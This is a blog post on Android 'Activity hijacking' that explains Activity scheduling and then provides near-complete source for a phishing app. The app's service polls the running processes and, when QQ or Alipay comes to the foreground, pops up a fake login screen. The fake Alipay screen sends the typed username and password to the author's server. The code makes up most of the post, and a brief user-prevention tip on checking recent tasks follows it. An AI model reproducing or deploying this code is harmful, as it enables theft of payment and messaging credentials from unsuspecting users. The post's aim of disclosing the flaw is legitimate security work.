Talking about Android security 1——Activity hijacking and user prevention

Talking about Android security 1——Activity hijacking and user prevention

1. Activity Scheduling Mechanism

In the Android system, switching between different programs is basically seamless, and switching between them is nothing more than switching between Activities. The concept of Activity is equivalent to an interface for interacting with users. The scheduling of Activity is managed by AmS in the Android system. AmS is ActivityManagerService (Activity Management Service). When each application wants to start or stop a process, it must first report to AmS.

When AmS receives a message to start or stop an Activity, it first updates the internal record and then notifies the corresponding process to run or stop the specified Activity. When a new Activity starts, the previous Activity stops, and these Activities are retained in an Activity history stack in the system. Every time an Activity starts, it is pushed to the top of the history stack and displayed on the phone. When the user presses the back button, the top Activity pops up, the previous Activity is restored, and the top of the stack points to the current Activity.

2. Android design flaws - Activity hijacking

If you add a flag FLAG_ACTIVITY_NEW_TASK to an Activity when you start it, it will be placed on the top of the stack and presented to the user immediately.

<img class="alignnone size-full wp-image-621" title="Activity hijacking demonstration document" src="http://msdxblog-wordpress.stor.sinaapp.com/uploads/2012/08/Activity hijacking-demonstration document.png" alt="" width="960" height="720" />

But this design has a flaw. What if this Activity is a disguised Activity used to steal accounts?

In the Android system, programs can enumerate currently running processes without declaring other permissions. In this way, we can write a program to start a background service that continuously scans currently running processes. When the target process is found to be started, a disguised Activity is started. If this Activity is a login interface, the user's account and password can be obtained from it.

3. Example

Below is the sample code.

Code for AndroidManifest.xml file.

  1.   <? xml   version = "1.0"   encoding = "utf-8" ?>  
  2. < manifest   xmlns:android = "http://schemas.android.com/apk/res/android"  
  3. package = "com.sinaapp.msdxblog.android.activityhijacking"  
  4. android:versionCode = "1"  
  5. android:versionName = "1.0"   >  
  6. < uses-sdk   android:minSdkVersion = "4"   />  
  7. < uses-permission   android:name = "android.permission.INTERNET"   />  
  8. < uses-permission   android:name = "android.permission.RECEIVE_BOOT_COMPLETED"   />  
  9. < application  
  10. android:name = ".HijackingApplication"  
  11. android:icon = "@drawable/icon"  
  12. android:label = "@string/app_name"   >  
  13. < activity  
  14. android:name = ".activity.HijackingActivity"  
  15. android:theme = "@style/transparent"  
  16. android:label = "@string/app_name"   >  
  17. <intent-filter>  
  18. < action   android:name = "android.intent.action.MAIN"   />  
  19. < category   android:name = "android.intent.category.LAUNCHER"   />  
  20. </intent-filter>  
  21. </ activity >  
  22. < activity   android:name = ".activity.sadstories.JokeActivity"   />  
  23. < activity   android:name = ".activity.sadstories.QQStoryActivity"   />  
  24. < activity   android:name = ".activity.sadstories.AlipayStoryActivity"   />  
  25. < receiver  
  26. android:name = ".receiver.HijackingReceiver"  
  27. android:enabled = "true"  
  28. android:exported = "true"   >  
  29. <intent-filter>  
  30. < action   android:name = "android.intent.action.BOOT_COMPLETED"   />  
  31. </intent-filter>  
  32. </ receiver >  
  33. < service   android:name = ".service.HijackingService"   >  
  34. </ service >  
  35. </ application >  
  36. </ manifest >  
  37.  
  38. In the above code, a service is declared to enumerate the currently running processes. If you do not want to start the system, you can even replace the receiver code and the line of code that declares the permission to start the system with < uses-permission   android:name = "android.permission.RECEIVE_BOOT_COMPLETED"   /> Remove it, only the permission to access the network is needed (to send the obtained account and password), and there is no abnormality in the AndroidManifest file alone.
  39.  
  40. The following is the code of a normal Activity. Here we just start the service used for Activity hijacking. If the boot-up has been declared in the above code, this step can also be omitted.
  41. Java code Copy code Favorite code
  42.  
  43. package com.sinaapp.msdxblog.android.activityhijacking.activity;
  44. import android.app.Activity;
  45. import android.content.Intent;
  46. import android.os.Bundle;
  47. import android.util.Log;
  48. import com.sinaapp.msdxblog.android.activityhijacking.R;
  49. import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;
  50. public class HijackingActivity extends Activity {
  51. /** Called when the activity is first created. */
  52. @Override
  53. public void onCreate(Bundle savedInstanceState) {
  54. super.onCreate(savedInstanceState);
  55. setContentView(R.layout.main);
  56. Intent intent2 = new Intent(this, HijackingService.class);
  57. startService(intent2);
  58. Log.w("hijacking", "activity starts the service used for hijacking");
  59. }
  60. }
  61.  
  62. If you want to start the service at boot, you need a receiver, that is, a broadcast receiver, to get the broadcast of boot at boot time and start the service here. If you don't start the service at boot (this must be implemented at least once with the above, otherwise the service will not be started), this step can be omitted.
  63. Java code Copy code Favorite code
  64.  
  65. /*
  66. * @(#)HijackingBroadcast.java Project:ActivityHijackingDemo
  67. * Date:2012-6-7
  68. *
  69. * Copyright (c) 2011 CFuture09, Institute of Software,
  70. * Guangdong Ocean University, Zhanjiang, GuangDong, China.
  71. * All rights reserved.
  72. *
  73. * Licensed under the Apache License, Version 2.0 (the "License");
  74. * you may not use this file except in compliance with the License.
  75. * You may obtain a copy of the License at
  76. *
  77. * http://www.apache.org/licenses/LICENSE-2.0
  78. *
  79. * Unless required by applicable law or agreed to in writing, software
  80. * distributed under the License is distributed on an "AS IS" BASIS,
  81. * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  82. * See the License for the specific language governing permissions and
  83. * limitations under the License.
  84. */
  85. package com.sinaapp.msdxblog.android.activityhijacking.receiver;
  86. import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;
  87. import android.content.BroadcastReceiver;
  88. import android.content.Context;
  89. import android.content.Intent;
  90. import android.util.Log;
  91. /**
  92. * @author Geek_Soledad ([email protected])
  93. */
  94. public class HijackingReceiver extends BroadcastReceiver {
  95. @Override
  96. public void onReceive(Context context, Intent intent) {
  97. if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {
  98. Log.w("hijacking", "boot");
  99. Intent intent2 = new Intent(context, HijackingService.class);
  100. context.startService(intent2);
  101. Log.w("hijacking", "Starting the Service for hijacking");
  102. }
  103. }
  104. }
  105.  
  106. The following HijackingService class is the key, which is used to hijack Activity.
  107. Here, the currently running processes will be enumerated, the target process will be found, and the disguised program will pop up.
  108. The code is as follows:
  109. Java code Copy code Favorite code
  110.  
  111. /*
  112. * @(#)HijackingService.java Project:ActivityHijackingDemo
  113. * Date:2012-6-7
  114. *
  115. * Copyright (c) 2011 CFuture09, Institute of Software,
  116. * Guangdong Ocean University, Zhanjiang, GuangDong, China.
  117. * All rights reserved.
  118. *
  119. * Licensed under the Apache License, Version 2.0 (the "License");
  120. * you may not use this file except in compliance with the License.
  121. * You may obtain a copy of the License at
  122. *
  123. * http://www.apache.org/licenses/LICENSE-2.0
  124. *
  125. * Unless required by applicable law or agreed to in writing, software
  126. * distributed under the License is distributed on an "AS IS" BASIS,
  127. * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  128. * See the License for the specific language governing permissions and
  129. * limitations under the License.
  130. */
  131. package com.sinaapp.msdxblog.android.activityhijacking.service;
  132. import java.util.HashMap;
  133. import java.util.List;
  134. import android.app.ActivityManager;
  135. import android.app.ActivityManager.RunningAppProcessInfo;
  136. import android.app.Service;
  137. import android.content.Context;
  138. import android.content.Intent;
  139. import android.os.Handler;
  140. import android.os.IBinder;
  141. import android.util.Log;
  142. import com.sinaapp.msdxblog.android.activityhijacking.HijackingApplication;
  143. import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.AlipayStoryActivity;
  144. import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.JokeActivity;
  145. import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.QQStoryActivity;
  146. /**
  147. * @author Geek_Soledad ([email protected])
  148. */
  149. public class HijackingService extends Service {
  150. private boolean hasStart = false ;
  151. // This is a sad story...
  152. HashMap < String , Class <? > >   mSadStories = new HashMap < String , Class <? > > ();
  153. // Timer mTimer = new Timer();
  154. Handler handler = new Handler();
  155. Runnable mTask = new Runnable() {
  156. @Override
  157. public void run() {
  158. ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
  159. List < RunningAppProcessInfo >   appProcessInfos = activityManager  
  160. .getRunningAppProcesses();
  161. // Enumerate the processes
  162. Log.w("hijacking", "enumerating processes");
  163. for (RunningAppProcessInfo appProcessInfo : appProcessInfos) {
  164. // If the app is in the foreground, then - a sad story is coming
  165. if ( appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
  166. if (mSadStories.containsKey(appProcessInfo.processName)) {
  167. // Hijack
  168. hijacking(appProcessInfo.processName);
  169. } else {
  170. Log.w("hijacking", appProcessInfo.processName);
  171. }
  172. }
  173. }
  174. handler.postDelayed(mTask, 1000);
  175. }
  176. /**
  177. * Conduct hijacking
  178. * @param processName
  179. */
  180. private void hijacking(String processName) {
  181. Log.w("hijacking", "Something is going to happen...");
  182. if (((HijackingApplication) getApplication())
  183. .hasProgressBeHijacked(processName) == false) {
  184. Log.w("hijacking", "tragedy is happening");
  185. Intent jackingIsComing = new Intent(getBaseContext(),
  186. mSadStories.get(processName));
  187. jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
  188. getApplication().startActivity(jackingIsComing);
  189. ((HijackingApplication) getApplication())
  190. .addProgressHijacked(processName);
  191. Log.w("hijacking", "has been hijacked");
  192. }
  193. }
  194. };
  195. @Override
  196. public IBinder onBind(Intent intent) {
  197. return null;
  198. }
  199. @Override
  200. public void onStart(Intent intent, int startId) {
  201. super.onStart(intent, startId);
  202. if (!hasStart) {
  203. mSadStories.put("com.sinaapp.msdxblog.android.lol",
  204. JokeActivity.class);
  205. mSadStories.put("com.tencent.mobileqq", QQStoryActivity.class);
  206. mSadStories.put("com.eg.android.AlipayGphone",
  207. AlipayStoryActivity.class);
  208. handler.postDelayed(mTask, 1000);
  209. hasStart = true ;
  210. }
  211. }
  212. @Override
  213. public boolean stopService(Intent name) {
  214. hasStart = false ;
  215. Log.w("hijacking", "hijacking service stopped");
  216. ((HijackingApplication) getApplication()).clearProgressHijacked();
  217. return super.stopService(name);
  218. }
  219. }
  220.  
  221. The following is the disguise class of Alipay (I won’t write the layout file because it is a disguise of the old version of Alipay’s interface. The new Alipay login interface is completely different. The old version of Alipay’s interface is quite annoying. I spent the whole night reading the decompiled code from it but still couldn’t understand it. Its login interface has ten layers of annoyingly nested layouts, and I also annoyingly nested eight layers of components to achieve the same effect).
  222. Java code Copy code Favorite code
  223.  
  224. /*
  225. * @(#)QQStoryActivity.java Project:ActivityHijackingDemo
  226. * Date:2012-6-7
  227. *
  228. * Copyright (c) 2011 CFuture09, Institute of Software,
  229. * Guangdong Ocean University, Zhanjiang, GuangDong, China.
  230. * All rights reserved.
  231. *
  232. * Licensed under the Apache License, Version 2.0 (the "License");
  233. * you may not use this file except in compliance with the License.
  234. * You may obtain a copy of the License at
  235. *
  236. * http://www.apache.org/licenses/LICENSE-2.0
  237. *
  238. * Unless required by applicable law or agreed to in writing, software
  239. * distributed under the License is distributed on an "AS IS" BASIS,
  240. * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  241. * See the License for the specific language governing permissions and
  242. * limitations under the License.
  243. */
  244. package com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories;
  245. import android.app.Activity;
  246. import android.os.Bundle;
  247. import android.os.Handler;
  248. import android.os.HandlerThread;
  249. import android.text.Html;
  250. import android.view.View;
  251. import android.widget.Button;
  252. import android.widget.EditText;
  253. import android.widget.TextView;
  254. import com.sinaapp.msdxblog.android.activityhijacking.R;
  255. import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil;
  256. /**
  257. * @author Geek_Soledad ([email protected])
  258. */
  259. public class AlipayStoryActivity extends Activity {
  260. private EditText name;
  261. private EditText password;
  262. private Button mBtAlipay;
  263. private Button mBtTaobao;
  264. private Button mBtRegister;
  265. private TextView mTvFindpswd;
  266. @Override
  267. protected void onCreate(Bundle savedInstanceState) {
  268. super.onCreate(savedInstanceState);
  269. this.setTheme(android.R.style.Theme_NoTitleBar);
  270. setContentView(R.layout.alipay);
  271. mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay);
  272. mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao);
  273. mBtRegister = (Button) findViewById(R.id.alipay_bt_register);
  274. mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd);
  275. mTvFindpswd.setText(Html.fromHtml("[u]Retrieve login password[/u]"));
  276. mBtAlipay.setSelected(true);
  277. name = (EditText) findViewById(R.id.input_name);
  278. password = (EditText) findViewById(R.id.input_password);
  279. }
  280. public void onButtonClicked(View v) {
  281. switch (v.getId()) {
  282. case R.id.alipay_bt_login:
  283. HandlerThread handlerThread = new HandlerThread("send");
  284. handlerThread.start();
  285. new Handler(handlerThread.getLooper()).post(new Runnable() {
  286. @Override
  287. public void run() {
  288. // Send the obtained user password
  289. SendUtil.sendInfo(name.getText().toString(), password
  290. .getText().toString(), "Alipay");
  291. }
  292. });
  293. moveTaskToBack(true);
  294. break;
  295. case R.id.alipay_bt_alipay:
  296. chooseToAlipay();
  297. break;
  298. case R.id.alipay_bt_taobao:
  299. chooseToTaobao();
  300. break;
  301. default:
  302. break;
  303. }
  304. }
  305. private void chooseToAlipay() {
  306. mBtAlipay.setSelected(true);
  307. mBtTaobao.setSelected(false);
  308. name.setHint(R.string.alipay_name_alipay_hint);
  309. mTvFindpswd.setVisibility(View.VISIBLE);
  310. mBtRegister.setVisibility(View.VISIBLE);
  311. }
  312. private void chooseToTaobao() {
  313. mBtAlipay.setSelected(false);
  314. mBtTaobao.setSelected(true);
  315. name.setHint(R.string.alipay_name_taobao_hint);
  316. mTvFindpswd.setVisibility(View.GONE);
  317. mBtRegister.setVisibility(View.GONE);
  318. }
  319. }

The other codes above are mainly to make the click effect of the interface look as similar as possible to the real Alipay. The main code is the one that sends the user's password.

As for SendUtil, I will not provide it. It sends an HTTP request to the server I wrote to send the user password.

4. User Prevention

Here I will talk about the prevention method I found, which is very simple. This method is for users. Android phones all have a HOME button (the icon of a small house). Long press it to see recent tasks (a few days ago, I found a weird phone that actually had a short press button, and this button would pop up the MENU menu when long pressed. It was so weird). For the HTC G14 I use, the most recent one displayed is the last running program. The most recent one displayed by Xiaomi is the currently running program. Therefore, when you want to enter the password to log in, you can view recent tasks by long pressing the HOME button. Taking my phone as an example, if you long press the HOME button when logging in to QQ and find that QQ appears in the recent tasks, then my current login interface is very likely to be disguised. Switch to another program and then view the recent tasks to know which program this login interface comes from.

If it is a Xiaomi phone, when logging in, if the first recent task you view is not the name of the program you want to log in, then it is disguised.

Currently, there is no mobile phone anti-virus software that can actively prevent this kind of Activity hijacking. As far as I know, only this method I found can be used to identify it. If there is any new information, please join the discussion.

<<:  Some security issues in Android development: Activity

>>:  Talking about Android security 2 - Activity hijacking prevention program

Recommend

29 suggestions before launching your brand on Xiaohongshu

Xiaohongshu’s strategy has changed. Last year, it...

CreditEase Zheng Yun: Sharing on the Practice of Big Data Financial Cloud

CreditEase has accumulated nine years of data, in...

Necessary infrastructure for private domain user operations!

Selection of target users and construction and ap...

B2B Marketing Channel Promotion——Baidu SEM

There are many types of B2B marketing, but online...

How Foxconn breaks through the OLED panel market is not easy and difficult

Hon Hai attached great importance to Sharp's ...

He Wei Element Flow Yoga System Basic Teacher Training

"Elemental Flow Yoga System Basic Teacher Tr...

In-depth study of JavaScript objects

In JavaScript, everything except the five primiti...

Tips for choosing hot topics for short videos!

Have you ever worried about choosing a topic? Top...

Ping An Health Product Analysis

At present, there are more than 3,000 certified m...